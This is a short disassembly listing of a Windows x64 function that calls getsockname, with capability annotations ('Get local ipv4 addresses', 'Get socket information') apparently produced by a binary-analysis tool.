call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x140026d3d
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140026bd4
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140051850
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret

Function at 0x140026ce8
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rcx, qword [rcx + 8]
jmp 0x140026ce8
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xc0
mov rax, qword [0x140072180]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rdi, r8
mov dword [rsp + 0x20], 0x80
mov rbx, rdx
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x140026d3d
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rdi
mov r8, rbx
call fcn.140026bd4
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140051850
mov rbx, qword [rsp + 0xe8]
add rsp, 0xc0
pop rdi
ret